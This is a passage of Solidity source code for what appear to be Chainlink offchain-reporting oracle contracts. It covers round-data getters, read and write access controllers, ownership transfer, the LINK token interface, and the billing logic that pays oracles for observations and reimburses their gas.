/**
* @notice median of report from given aggregator round (NOT OCR round)
* @param _roundId the aggregator round of the target report
*/
function getAnswer(uint256 _roundId)
public
override
view
virtual
returns (int256)
{
if (_roundId > 0xFFFFFFFF) { return 0; }
return s_transmissions[uint32(_roundId)].answer;
}
/**
* @notice timestamp of block in which report from given aggregator round was transmitted
* @param _roundId aggregator round (NOT OCR round) of target report
*/
function getTimestamp(uint256 _roundId)
public
override
view
virtual
returns (uint256)
{
if (_roundId > 0xFFFFFFFF) { return 0; }
return s_transmissions[uint32(_roundId)].timestamp;
}
/*
* v3 Aggregator interface
*/
string constant private V3_NO_DATA_ERROR = "No data present";
/**
* @return answers are stored in fixed-point format, with this many digits of precision
*/
uint8 immutable public override decimals;
/**
* @notice aggregator contract version
*/
uint256 constant public override version = 4;
string internal s_description;
/**
* @notice human-readable description of observable this contract is reporting on
*/
function description()
public
override
view
virtual
returns (string memory)
{
return s_description;
}
/**
* @notice details for the given aggregator round
* @param _roundId target aggregator round (NOT OCR round). Must fit in uint32
* @return roundId _roundId
* @return answer median of report from given _roundId
* @return startedAt timestamp of block in which report from given _roundId was transmitted
* @return updatedAt timestamp of block in which report from given _roundId was transmitted
* @return answeredInRound _roundId
*/
function getRoundData(uint80 _roundId)
public
override
view
virtual
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
require(_roundId <= 0xFFFFFFFF, V3_NO_DATA_ERROR);
Transmission memory transmission = s_transmissions[uint32(_roundId)];
return (
_roundId,
transmission.answer,
transmission.timestamp,
transmission.timestamp,
_roundId
);
}
/**
* @notice aggregator details for the most recently transmitted report
* @return roundId aggregator round of latest report (NOT OCR round)
* @return answer median of latest report
* @return startedAt timestamp of block containing latest report
* @return updatedAt timestamp of block containing latest report
* @return answeredInRound aggregator round of latest report
*/
function latestRoundData()
public
override
view
virtual
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
roundId = s_hotVars.latestAggregatorRoundId;
// Skipped for compatability with existing FluxAggregator in which latestRoundData never reverts.
// require(roundId != 0, V3_NO_DATA_ERROR);
Transmission memory transmission = s_transmissions[uint32(roundId)];
return (
roundId,
transmission.answer,
transmission.timestamp,
transmission.timestamp,
roundId
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./SimpleWriteAccessController.sol";
/**
* @title SimpleReadAccessController
* @notice Gives access to:
* - any externally owned account (note that offchain actors can always read
* any contract storage regardless of onchain access control measures, so this
* does not weaken the access control while improving usability)
* - accounts explicitly added to an access list
* @dev SimpleReadAccessController is not suitable for access controlling writes
* since it grants any externally owned account access! See
* SimpleWriteAccessController for that.
*/
contract SimpleReadAccessController is SimpleWriteAccessController {
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory _calldata
)
public
view
virtual
override
returns (bool)
{
return super.hasAccess(_user, _calldata) || _user == tx.origin;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AccessControllerInterface {
function hasAccess(address user, bytes calldata data) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AggregatorInterface.sol";
import "./AggregatorV3Interface.sol";
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AggregatorValidatorInterface {
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title The Owned contract
* @notice A contract with helpers for basic contract ownership.
*/
contract Owned {
address payable public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AccessControllerInterface.sol";
import "./LinkTokenInterface.sol";
import "./Owned.sol";
/**
* @notice tracks administration of oracle-reward and gas-reimbursement parameters.
* @dev
* If you read or change this, be sure to read or adjust the comments. They
* track the units of the values under consideration, and are crucial to
* the readability of the operations it specifies.
* @notice
* Trust Model:
* Nothing in this contract prevents a billing admin from setting insane
* values for the billing parameters in setBilling. Oracles
* participating in this contract should regularly check that the
* parameters make sense. Similarly, the outstanding obligations of this
* contract to the oracles can exceed the funds held by the contract.
* Oracles participating in this contract should regularly check that it
* holds sufficient funds and stop interacting with it if funding runs
* out.
* This still leaves oracles with some risk due to TOCTOU issues.
* However, since the sums involved are pretty small (Ethereum
* transactions aren't that expensive in the end) and an oracle would
* likely stop participating in a contract it repeatedly lost money on,
* this risk is deemed acceptable. Oracles should also regularly
* withdraw any funds in the contract to prevent issues where the
* contract becomes underfunded at a later time, and different oracles
* are competing for the left-over funds.
* Finally, note that any change to the set of oracles or to the billing
* parameters will trigger payout of all oracles first (using the old
* parameters), a billing admin cannot take away funds that are already
* marked for payment.
*/
contract OffchainAggregatorBilling is Owned {
// Maximum number of oracles the offchain reporting protocol is designed for
uint256 constant internal maxNumOracles = 31;
// Parameters for oracle payments
struct Billing {
// Highest compensated gas price, in ETH-gwei uints
uint32 maximumGasPrice;
// If gas price is less (in ETH-gwei units), transmitter gets half the savings
uint32 reasonableGasPrice;
// Pay transmitter back this much LINK per unit eth spent on gas
// (1e-6LINK/ETH units)
uint32 microLinkPerEth;
// Fixed LINK reward for each observer, in LINK-gwei units
uint32 linkGweiPerObservation;
// Fixed reward for transmitter, in linkGweiPerObservation units
uint32 linkGweiPerTransmission;
}
Billing internal s_billing;
// We assume that the token contract is correct. This contract is not written
// to handle misbehaving ERC20 tokens!
LinkTokenInterface internal s_linkToken;
AccessControllerInterface internal s_billingAccessController;
// ith element is number of observation rewards due to ith process, plus one.
// This is expected to saturate after an oracle has submitted 65,535
// observations, or about 65535/(3*24*20) = 45 days, given a transmission
// every 3 minutes.
//
// This is always one greater than the actual value, so that when the value is
// reset to zero, we don't end up with a zero value in storage (which would
// result in a higher gas cost, the next time the value is incremented.)
// Calculations using this variable need to take that offset into account.
uint16[maxNumOracles] internal s_oracleObservationsCounts;
// Addresses at which oracles want to receive payments, by transmitter address
mapping (address /* transmitter */ => address /* payment address */)
internal
s_payees;
// Payee addresses which must be approved by the owner
mapping (address /* transmitter */ => address /* payment address */)
internal
s_proposedPayees;
// LINK-wei-denominated reimbursements for gas used by transmitters.
//
// This is always one greater than the actual value, so that when the value is
// reset to zero, we don't end up with a zero value in storage (which would
// result in a higher gas cost, the next time the value is incremented.)
// Calculations using this variable need to take that offset into account.
//
// Argument for overflow safety:
// We have the following maximum intermediate values:
// - 2**40 additions to this variable (epochAndRound is a uint40)
// - 2**32 gas price in ethgwei/gas
// - 1e9 ethwei/ethgwei
// - 2**32 gas since the block gas limit is at ~20 million
// - 2**32 (microlink/eth)
// And we have 2**40 * 2**32 * 1e9 * 2**32 * 2**32 < 2**166
// (we also divide in some places, but that only makes the value smaller)
// We can thus safely use uint256 intermediate values for the computation
// updating this variable.
uint256[maxNumOracles] internal s_gasReimbursementsLinkWei;
// Used for s_oracles[a].role, where a is an address, to track the purpose
// of the address, or to indicate that the address is unset.
enum Role {
// No oracle role has been set for address a
Unset,
// Signing address for the s_oracles[a].index'th oracle. I.e., report
// signatures from this oracle should ecrecover back to address a.
Signer,
// Transmission address for the s_oracles[a].index'th oracle. I.e., if a
// report is received by OffchainAggregator.transmit in which msg.sender is
// a, it is attributed to the s_oracles[a].index'th oracle.
Transmitter
}
struct Oracle {
uint8 index; // Index of oracle in s_signers/s_transmitters
Role role; // Role of the address which mapped to this struct
}
mapping (address /* signer OR transmitter address */ => Oracle)
internal s_oracles;
// s_signers contains the signing address of each oracle
address[] internal s_signers;
// s_transmitters contains the transmission address of each oracle,
// i.e. the address the oracle actually sends transactions to the contract from
address[] internal s_transmitters;
uint256 constant private maxUint16 = (1 << 16) - 1;
uint256 constant internal maxUint128 = (1 << 128) - 1;
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
LinkTokenInterface _link,
AccessControllerInterface _billingAccessController
)
{
setBillingInternal(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
s_linkToken = _link;
emit LinkTokenSet(LinkTokenInterface(address(0)), _link);
setBillingAccessControllerInternal(_billingAccessController);
uint16[maxNumOracles] memory counts; // See s_oracleObservationsCounts docstring
uint256[maxNumOracles] memory gas; // see s_gasReimbursementsLinkWei docstring
for (uint8 i = 0; i < maxNumOracles; i++) {
counts[i] = 1;
gas[i] = 1;
}
s_oracleObservationsCounts = counts;
s_gasReimbursementsLinkWei = gas;
}
/*
* @notice emitted when the LINK token contract is set
* @param _oldLinkToken the address of the old LINK token contract
* @param _newLinkToken the address of the new LINK token contract
*/
event LinkTokenSet(
LinkTokenInterface indexed _oldLinkToken,
LinkTokenInterface indexed _newLinkToken
);
/*
* @notice sets the LINK token contract used for paying oracles
* @param _linkToken the address of the LINK token contract
* @param _recipient remaining funds from the previous token contract are transfered
* here
* @dev this function will return early (without an error) without changing any state
* if _linkToken equals getLinkToken().
* @dev this will trigger a payout so that a malicious owner cannot take from oracles
* what is already owed to them.
* @dev we assume that the token contract is correct. This contract is not written
* to handle misbehaving ERC20 tokens!
*/
function setLinkToken(
LinkTokenInterface _linkToken,
address _recipient
) external
onlyOwner()
{
LinkTokenInterface oldLinkToken = s_linkToken;
if (_linkToken == oldLinkToken) {
// No change, nothing to be done
return;
}
// call balanceOf as a sanity check on whether we're talking to a token
// contract
_linkToken.balanceOf(address(this));
// we break CEI here, but that's okay because we're dealing with a correct
// token contract (by assumption).
payOracles();
uint256 remainingBalance = oldLinkToken.balanceOf(address(this));
require(oldLinkToken.transfer(_recipient, remainingBalance), "transfer remaining funds failed");
s_linkToken = _linkToken;
emit LinkTokenSet(oldLinkToken, _linkToken);
}
/*
* @notice gets the LINK token contract used for paying oracles
* @return linkToken the address of the LINK token contract
*/
function getLinkToken()
external
view
returns(LinkTokenInterface linkToken)
{
return s_linkToken;
}
/**
* @notice emitted when billing parameters are set
* @param maximumGasPrice highest gas price for which transmitter will be compensated
* @param reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
*/
event BillingSet(
uint32 maximumGasPrice,
uint32 reasonableGasPrice,
uint32 microLinkPerEth,
uint32 linkGweiPerObservation,
uint32 linkGweiPerTransmission
);
function setBillingInternal(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission
)
internal
{
s_billing = Billing(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
emit BillingSet(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
}
/**
* @notice sets billing parameters
* @param _maximumGasPrice highest gas price for which transmitter will be compensated
* @param _reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param _microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param _linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param _linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
* @dev access control provided by billingAccessController
*/
function setBilling(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission
)
external
{
AccessControllerInterface access = s_billingAccessController;
require(msg.sender == owner || access.hasAccess(msg.sender, msg.data),
"Only owner&billingAdmin can call");
payOracles();
setBillingInternal(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
}
/**
* @notice gets billing parameters
* @param maximumGasPrice highest gas price for which transmitter will be compensated
* @param reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
*/
function getBilling()
external
view
returns (
uint32 maximumGasPrice,
uint32 reasonableGasPrice,
uint32 microLinkPerEth,
uint32 linkGweiPerObservation,
uint32 linkGweiPerTransmission
)
{
Billing memory billing = s_billing;
return (
billing.maximumGasPrice,
billing.reasonableGasPrice,
billing.microLinkPerEth,
billing.linkGweiPerObservation,
billing.linkGweiPerTransmission
);
}
/**
* @notice emitted when a new access-control contract is set
* @param old the address prior to the current setting
* @param current the address of the new access-control contract
*/
event BillingAccessControllerSet(AccessControllerInterface old, AccessControllerInterface current);
function setBillingAccessControllerInternal(AccessControllerInterface _billingAccessController)
internal
{
AccessControllerInterface oldController = s_billingAccessController;
if (_billingAccessController != oldController) {
s_billingAccessController = _billingAccessController;
emit BillingAccessControllerSet(
oldController,
_billingAccessController
);
}
}
/**
* @notice sets billingAccessController
* @param _billingAccessController new billingAccessController contract address
* @dev only owner can call this
*/
function setBillingAccessController(AccessControllerInterface _billingAccessController)
external
onlyOwner
{
setBillingAccessControllerInternal(_billingAccessController);
}
/**
* @notice gets billingAccessController
* @return address of billingAccessController contract
*/
function billingAccessController()
external
view
returns (AccessControllerInterface)
{
return s_billingAccessController;
}
/**
* @notice withdraws an oracle's payment from the contract
* @param _transmitter the transmitter address of the oracle
* @dev must be called by oracle's payee address
*/
function withdrawPayment(address _transmitter)
external
{
require(msg.sender == s_payees[_transmitter], "Only payee can withdraw");
payOracle(_transmitter);
}
/**
* @notice query an oracle's payment amount
* @param _transmitter the transmitter address of the oracle
*/
function owedPayment(address _transmitter)
public
view
returns (uint256)
{
Oracle memory oracle = s_oracles[_transmitter];
if (oracle.role == Role.Unset) { return 0; }
Billing memory billing = s_billing;
uint256 linkWeiAmount =
uint256(s_oracleObservationsCounts[oracle.index] - 1) *
uint256(billing.linkGweiPerObservation) *
(1 gwei);
linkWeiAmount += s_gasReimbursementsLinkWei[oracle.index] - 1;
return linkWeiAmount;
}
/**
* @notice emitted when an oracle has been paid LINK
* @param transmitter address from which the oracle sends reports to the transmit method
* @param payee address to which the payment is sent
* @param amount amount of LINK sent
* @param linkToken address of the LINK token contract
*/
event OraclePaid(
address indexed transmitter,
address indexed payee,
uint256 amount,
LinkTokenInterface indexed linkToken
);
// payOracle pays out _transmitter's balance to the corresponding payee, and zeros it out
function payOracle(address _transmitter)
internal
{
Oracle memory oracle = s_oracles[_transmitter];
uint256 linkWeiAmount = owedPayment(_transmitter);
if (linkWeiAmount > 0) {
address payee = s_payees[_transmitter];
// Poses no re-entrancy issues, because LINK.transfer does not yield
// control flow.
require(s_linkToken.transfer(payee, linkWeiAmount), "insufficient funds");
s_oracleObservationsCounts[oracle.index] = 1; // "zero" the counts. see var's docstring
s_gasReimbursementsLinkWei[oracle.index] = 1; // "zero" the counts. see var's docstring
emit OraclePaid(_transmitter, payee, linkWeiAmount, s_linkToken);
}
}
// payOracles pays out all transmitters, and zeros out their balances.
//
// It's much more gas-efficient to do this as a single operation, to avoid
// hitting storage too much.
function payOracles()
internal
{
Billing memory billing = s_billing;
LinkTokenInterface linkToken = s_linkToken;
uint16[maxNumOracles] memory observationsCounts = s_oracleObservationsCounts;
uint256[maxNumOracles] memory gasReimbursementsLinkWei =
s_gasReimbursementsLinkWei;
address[] memory transmitters = s_transmitters;
for (uint transmitteridx = 0; transmitteridx < transmitters.length; transmitteridx++) {
uint256 reimbursementAmountLinkWei = gasReimbursementsLinkWei[transmitteridx] - 1;
uint256 obsCount = observationsCounts[transmitteridx] - 1;
uint256 linkWeiAmount =
obsCount * uint256(billing.linkGweiPerObservation) * (1 gwei) + reimbursementAmountLinkWei;
if (linkWeiAmount > 0) {
address payee = s_payees[transmitters[transmitteridx]];
// Poses no re-entrancy issues, because LINK.transfer does not yield
// control flow.
require(linkToken.transfer(payee, linkWeiAmount), "insufficient funds");
observationsCounts[transmitteridx] = 1; // "zero" the counts.
gasReimbursementsLinkWei[transmitteridx] = 1; // "zero" the counts.
emit OraclePaid(transmitters[transmitteridx], payee, linkWeiAmount, linkToken);
}
}
// "Zero" the accounting storage variables
s_oracleObservationsCounts = observationsCounts;
s_gasReimbursementsLinkWei = gasReimbursementsLinkWei;
}
function oracleRewards(
bytes memory observers,
uint16[maxNumOracles] memory observations
)
internal
pure
returns (uint16[maxNumOracles] memory)
{
// reward each observer-participant with the observer reward
for (uint obsIdx = 0; obsIdx < observers.length; obsIdx++) {
uint8 observer = uint8(observers[obsIdx]);
observations[observer] = saturatingAddUint16(observations[observer], 1);
}
return observations;
}
// This value needs to change if maxNumOracles is increased, or the accounting
// calculations at the bottom of reimburseAndRewardOracles change.
//
// To recalculate it, run the profiler as described in
// ../../profile/README.md, and add up the gas-usage values reported for the
// lines in reimburseAndRewardOracles following the "gasLeft = gasleft()"
// line. E.g., you will see output like this:
//
// 7 uint256 gasLeft = gasleft();
// 29 uint256 gasCostEthWei = transmitterGasCostEthWei(
// 9 uint256(initialGas),
// 3 gasPrice,
// 3 callDataGasCost,
// 3 gasLeft
// .
// .
// .
// 59 uint256 gasCostLinkWei = (gasCostEthWei * billing.microLinkPerEth)/ 1e6;
// .
// .
// .
// 5047 s_gasReimbursementsLinkWei[txOracle.index] =
// 856 s_gasReimbursementsLinkWei[txOracle.index] + gasCostLinkWei +
// 26 uint256(billing.linkGweiPerTransmission) * (1 gwei);
//
// If those were the only lines to be accounted for, you would add up
// 29+9+3+3+3+59+5047+856+26=6035.
uint256 internal constant accountingGasCost = 6035;
// Uncomment the following declaration to compute the remaining gas cost after
// above gasleft(). (This must exist in a base class to OffchainAggregator, so
// it can't go in TestOffchainAggregator.)
//
// uint256 public gasUsedInAccounting;
// Gas price at which the transmitter should be reimbursed, in ETH-gwei/gas
function impliedGasPrice(
uint256 txGasPrice, // ETH-gwei/gas units
uint256 reasonableGasPrice, // ETH-gwei/gas units
uint256 maximumGasPrice // ETH-gwei/gas units
)
internal
pure
returns (uint256)
{
// Reward the transmitter for choosing an efficient gas price: if they manage
// to come in lower than considered reasonable, give them half the savings.
//
// The following calculations are all in units of gwei/gas, i.e. 1e-9ETH/gas
uint256 gasPrice = txGasPrice;
if (txGasPrice < reasonableGasPrice) {
// Give transmitter half the savings for coming in under the reasonable gas price
gasPrice += (reasonableGasPrice - txGasPrice) / 2;
}
// Don't reimburse a gas price higher than maximumGasPrice
return min(gasPrice, maximumGasPrice);
}
// gas reimbursement due the transmitter, in ETH-wei
//
// If this function is changed, accountingGasCost needs to change, too. See
// its docstring
function transmitterGasCostEthWei(
uint256 initialGas,
uint256 gasPrice, // ETH-gwei/gas units
uint256 callDataCost, // gas units
uint256 gasLeft
)
internal
pure
returns (uint128 gasCostEthWei)
{
require(initialGas >= gasLeft, "gasLeft cannot exceed initialGas");
uint256 gasUsed = // gas units
initialGas - gasLeft + // observed gas usage
callDataCost + accountingGasCost; // estimated gas usage
// gasUsed is in gas units, gasPrice is in ETH-gwei/gas units; convert to ETH-wei
uint256 fullGasCostEthWei = gasUsed * gasPrice * (1 gwei);
assert(fullGasCostEthWei < maxUint128); // the entire ETH supply fits in a uint128...
return uint128(fullGasCostEthWei);
}
/**
* @notice withdraw any available funds left in the contract, up to _amount, after accounting for the funds due to participants in past reports
* @param _recipient address to send funds to
* @param _amount maximum amount to withdraw, denominated in LINK-wei.
* @dev access control provided by billingAccessController
*/
function withdrawFunds(address _recipient, uint256 _amount)
external
{
require(msg.sender == owner || s_billingAccessController.hasAccess(msg.sender, msg.data),
"Only owner&billingAdmin can call");
uint256 linkDue = totalLINKDue();
uint256 linkBalance = s_linkToken.balanceOf(address(this));
require(linkBalance >= linkDue, "insufficient balance");
require(s_linkToken.transfer(_recipient, min(linkBalance - linkDue, _amount)), "insufficient funds");
}
// Total LINK due to participants in past reports.
function totalLINKDue()
internal
view
returns (uint256 linkDue)
{
// Argument for overflow safety: We do all computations in
// uint256s. The inputs to linkDue are:
// - the <= 31 observation rewards each of which has less than
// 64 bits (32 bits for billing.linkGweiPerObservation, 32 bits
// for wei/gwei conversion). Hence 69 bits are sufficient for this part.
// - the <= 31 gas reimbursements, each of which consists of at most 166
// bits (see s_gasReimbursementsLinkWei docstring). Hence 171 bits are
// sufficient for this part
// In total, 172 bits are enough.
uint16[maxNumOracles] memory observationCounts = s_oracleObservationsCounts;
for (uint i = 0; i < maxNumOracles; i++) {
linkDue += observationCounts[i] - 1; // Stored value is one greater than actual value
}
Billing memory billing = s_billing;
// Convert linkGweiPerObservation to uint256, or this overflows!
linkDue *= uint256(billing.linkGweiPerObservation) * (1 gwei);
address[] memory transmitters = s_transmitters;
uint256[maxNumOracles] memory gasReimbursementsLinkWei =
s_gasReimbursementsLinkWei;
for (uint i = 0; i < transmitters.length; i++) {
linkDue += uint256(gasReimbursementsLinkWei[i]-1); // Stored value is one greater than actual value
}
}
/**
* @notice allows oracles to check that sufficient LINK balance is available
* @return availableBalance LINK available on this contract, after accounting for outstanding obligations. can become negative
*/
function linkAvailableForPayment()
external
view
returns (int256 availableBalance)
{
// there are at most one billion LINK, so this cast is safe
int256 balance = int256(s_linkToken.balanceOf(address(this)));
// according to the argument in the definition of totalLINKDue,
// totalLINKDue is never greater than 2**172, so this cast is safe
int256 due = int256(totalLINKDue());
// safe from overflow according to above sizes
return int256(balance) - int256(due);
}
/**
* @notice number of observations oracle is due to be reimbursed for
* @param _signerOrTransmitter address used by oracle for signing or transmitting reports
*/
function oracleObservationCount(address _signerOrTransmitter)
external
view
returns (uint16)
{
Oracle memory oracle = s_oracles[_signerOrTransmitter];
if (oracle.role == Role.Unset) { return 0; }
return s_oracleObservationsCounts[oracle.index] - 1;
}
function reimburseAndRewardOracles(
uint32 initialGas,
bytes memory observers
)
internal
{
Oracle memory txOracle = s_oracles[msg.sender];
Billing memory billing = s_billing;
// Reward oracles for providing observations. Oracles are not rewarded
// for providing signatures, because signing is essentially free.
s_oracleObservationsCounts =
oracleRewards(observers, s_oracleObservationsCounts);
// Reimburse transmitter of the report for gas usage
require(txOracle.role == Role.Transmitter,
"sent by undesignated transmitter"
);
uint256 gasPrice = impliedGasPrice(
tx.gasprice / (1 gwei), // convert to ETH-gwei units
billing.reasonableGasPrice,
billing.maximumGasPrice
);
// The following is only an upper bound, as it ignores the cheaper cost for
// 0 bytes. Safe from overflow, because calldata just isn't that long.
uint256 callDataGasCost = 16 * msg.data.length;
// If any changes are made to subsequent calculations, accountingGasCost
// needs to change, too.
uint256 gasLeft = gasleft();
uint256 gasCostEthWei = transmitterGasCostEthWei(
uint256(initialGas),
gasPrice,
callDataGasCost,
gasLeft
);
// microLinkPerEth is 1e-6LINK/ETH units, gasCostEthWei is 1e-18ETH units
// (ETH-wei), product is 1e-24LINK-wei units, dividing by 1e6 gives
// 1e-18LINK units, i.e. LINK-wei units
// Safe from over/underflow, since all components are non-negative,
// gasCostEthWei will always fit into uint128 and microLinkPerEth is a
// uint32 (128+32 < 256!).
uint256 gasCostLinkWei = (gasCostEthWei * billing.microLinkPerEth)/ 1e6;
// Safe from overflow, because gasCostLinkWei < 2**160 and
// billing.linkGweiPerTransmission * (1 gwei) < 2**64 and we increment
// s_gasReimbursementsLinkWei[txOracle.index] at most 2**40 times.
s_gasReimbursementsLinkWei[txOracle.index] =
s_gasReimbursementsLinkWei[txOracle.index] + gasCostLinkWei +
uint256(billing.linkGweiPerTransmission) * (1 gwei); // convert from linkGwei to linkWei
// Uncomment next line to compute the remaining gas cost after above gasleft().
// See OffchainAggregatorBilling.accountingGasCost docstring for more information.
//
// gasUsedInAccounting = gasLeft - gasleft();
}
/*
* Payee management
*/
/**
* @notice emitted when a transfer of an oracle's payee address has been initiated
* @param transmitter address from which the oracle sends reports to the transmit method
* @param current the payeee address for the oracle, prior to this setting
* @param proposed the proposed new payee address for the oracle
*/
event PayeeshipTransferRequested(
address indexed transmitter,
address indexed current,
address indexed proposed
);
/**
* @notice emitted when a transfer of an oracle's payee address has been completed
* @param transmitter address from which the oracle sends reports to the transmit method
* @param current the payeee address for the oracle, prior to this setting
*/
event PayeeshipTransferred(
address indexed transmitter,
address indexed previous,
address indexed current
);
/**
* @notice sets the payees for transmitting addresses
* @param _transmitters addresses oracles use to transmit the reports
* @param _payees addresses of payees corresponding to list of transmitters
* @dev must be called by owner
* @dev cannot be used to change payee addresses, only to initially populate them
*/
function setPayees(
address[] calldata _transmitters,
address[] calldata _payees
)
external
onlyOwner()
{
require(_transmitters.length == _payees.length, "transmitters.size != payees.size");
for (uint i = 0; i < _transmitters.length; i++) {
address transmitter = _transmitters[i];
address payee = _payees[i];
address currentPayee = s_payees[transmitter];
bool zeroedOut = currentPayee == address(0);
require(zeroedOut || currentPayee == payee, "payee already set");
s_payees[transmitter] = payee;
if (currentPayee != payee) {
emit PayeeshipTransferred(transmitter, currentPayee, payee);
}
}
}
/**
* @notice first step of payeeship transfer (safe transfer pattern)
* @param _transmitter transmitter address of oracle whose payee is changing
* @param _proposed new payee address
* @dev can only be called by payee address
*/
function transferPayeeship(
address _transmitter,
address _proposed
)
external
{
require(msg.sender == s_payees[_transmitter], "only current payee can update");
require(msg.sender != _proposed, "cannot transfer to self");
address previousProposed = s_proposedPayees[_transmitter];
s_proposedPayees[_transmitter] = _proposed;
if (previousProposed != _proposed) {
emit PayeeshipTransferRequested(_transmitter, msg.sender, _proposed);
}
}
/**
* @notice second step of payeeship transfer (safe transfer pattern)
* @param _transmitter transmitter address of oracle whose payee is changing
* @dev can only be called by proposed new payee address
*/
function acceptPayeeship(
address _transmitter
)
external
{
require(msg.sender == s_proposedPayees[_transmitter], "only proposed payees can accept");
address currentPayee = s_payees[_transmitter];
s_payees[_transmitter] = msg.sender;
s_proposedPayees[_transmitter] = address(0);
emit PayeeshipTransferred(_transmitter, currentPayee, msg.sender);
}
/*
* Helper functions
*/
function saturatingAddUint16(uint16 _x, uint16 _y)
internal
pure
returns (uint16)
{
return uint16(min(uint256(_x)+uint256(_y), maxUint16));
}
function min(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a < b) { return a; }
return b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract TypeAndVersionInterface{
function typeAndVersion()
external
pure
virtual
returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Owned.sol";
import "./AccessControllerInterface.sol";
/**
* @title SimpleWriteAccessController
* @notice Gives access to accounts explicitly added to an access list by the
* controller's owner.
* @dev does not make any special permissions for externally, see
* SimpleReadAccessController for that.
*/
contract SimpleWriteAccessController is AccessControllerInterface, Owned {
bool public checkEnabled;
mapping(address => bool) internal accessList;
event AddedAccess(address user);
event RemovedAccess(address user);
event CheckAccessEnabled();
event CheckAccessDisabled();
constructor()
{
checkEnabled = true;
}
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory
)
public
view
virtual
override
returns (bool)
{
return accessList[_user] || !checkEnabled;
}
